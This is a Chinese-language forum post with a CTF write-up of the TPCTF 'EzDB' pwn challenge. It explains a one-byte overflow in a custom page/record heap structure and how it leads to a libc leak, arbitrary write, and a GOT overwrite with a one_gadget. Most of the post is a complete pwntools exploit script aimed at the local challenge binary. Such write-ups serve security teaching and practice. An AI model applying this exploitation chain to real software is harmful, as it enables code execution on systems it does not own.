qidao123.com技术社区-IT企服评测·应用市场
标题:
[TPCTF] EzDB详解
[打印本页]
作者:
饭宝
时间:
2025-3-12 22:26
标题:
[TPCTF] EzDB详解
程序分析
第一眼菜单堆题,但程序本身实现了一个数据结构:表结构(page)储存Record
逆向出的page结构体如下,记录分配的内存以及record记录。然后堆内还存在一个数据结构records。两个结构之间的关系如图(请忽略我粗劣的画工)
struct TablePage
{
void *mem; // 分配的堆内存地址
void *records_end; // record结尾,在GetSlotNum函数中用于计算有多少个record
void *mem_offset; // 空闲内存,每次申请record从堆内存尾部分割
void *records_ptr; // record开始,在EditRecord函数用于索引到指定record
};
struct recordInHeap
{
uint16_t offset; // record内容在堆内的偏移
uint16_t size; // record的大小
};
复制代码
这里为什么要专门要创建一个recordInHeap结构体呢,主要是和菜单选项里的Record结构区分开来
堆内的records数组是向高地址生长,而内容则是向低地址生长
漏洞在于InsertRecord时,对堆内的剩余空间计算存在问题
page->mem_offset - page->records_end + 1 < Size + 4,我们只要令
申请的size +4= 剩余空间 + 1,就存在一字节的溢出。
然后memcpy复制的起始地址是page->mem_offset - Size,覆盖的是recordInHeap的size段的高位,接下来我们就可以进行愉快的堆溢出啦
之后就是常规的堆利用了,有很多利用思路,这里我选择劫持libc.got
起首leak出libc地址,然后通过溢出劫持TablePage结构体来实现任意写,修改libc的got.plt的strlen为one_gadget
由于程序打印menu时会调用puts函数,而puts函数内部又调用了strlen函数,触发ogg
exp
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['konsole', '-e', 'sh', '-c']
#context.terminal = ['gnome-terminal', '-e', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
p = process("./pwn")
elf = ELF(file)
libc = ELF(libc)
def add(idx):
ru(">>>")
sl(b"1")
ru("Index:")
sl(str(idx))
def edit(idx,sid,size,content):
ru(">>>")
sl(b"5")
ru("Index:")
sl(str(idx))
ru("Slot ID:")
sl(str(sid))
ru("Varchar Length:")
sl(str(size))
ru("Varchar:")
sd(content)
def insert(idx,size,content):
ru(">>>")
sl(b"3")
ru("Index:")
sl(str(idx))
ru("Length:")
sl(str(size))
ru("Varchar:")
sd(content)
def show(idx,sid):
ru(">>>")
sl(b"4")
ru("Index:")
sl(str(idx))
ru("Slot ID:")
sl(str(sid))
def delete(idx):
ru(">>>")
sl(b"2")
ru("Index:")
sl(str(idx))
for i in range(10):
add(i)
for i in range(9, 1, -1):
delete(i)
payload = p8(0x5).ljust(0x401 - 4, b'a')
insert(1, 0x401-4, payload)
show(1, 0)
ru(p64(0x3d1))
libcbase = uu64() - 0x21ace0
libc.address = libcbase
libc_got = libc.got["malloc"] + 0xa8
insert(0, 0x401-4, payload)
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
payload = p8(0x5).ljust(0x401 - 4, b'a') + flat(0, 0x31, libc_got-4, libc_got-4, libc_got+8, libc_got-4)
edit(0, 0, len(payload) ,payload)
lgn("libcbase", libcbase)
lgn("strlen got", libc_got)
debug()
pause()
insert(1, 8, p64(libcbase + oggs[1]))
ia()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 qidao123.com技术社区-IT企服评测·应用市场 (https://dis.qidao123.com/)
Powered by Discuz! X3.4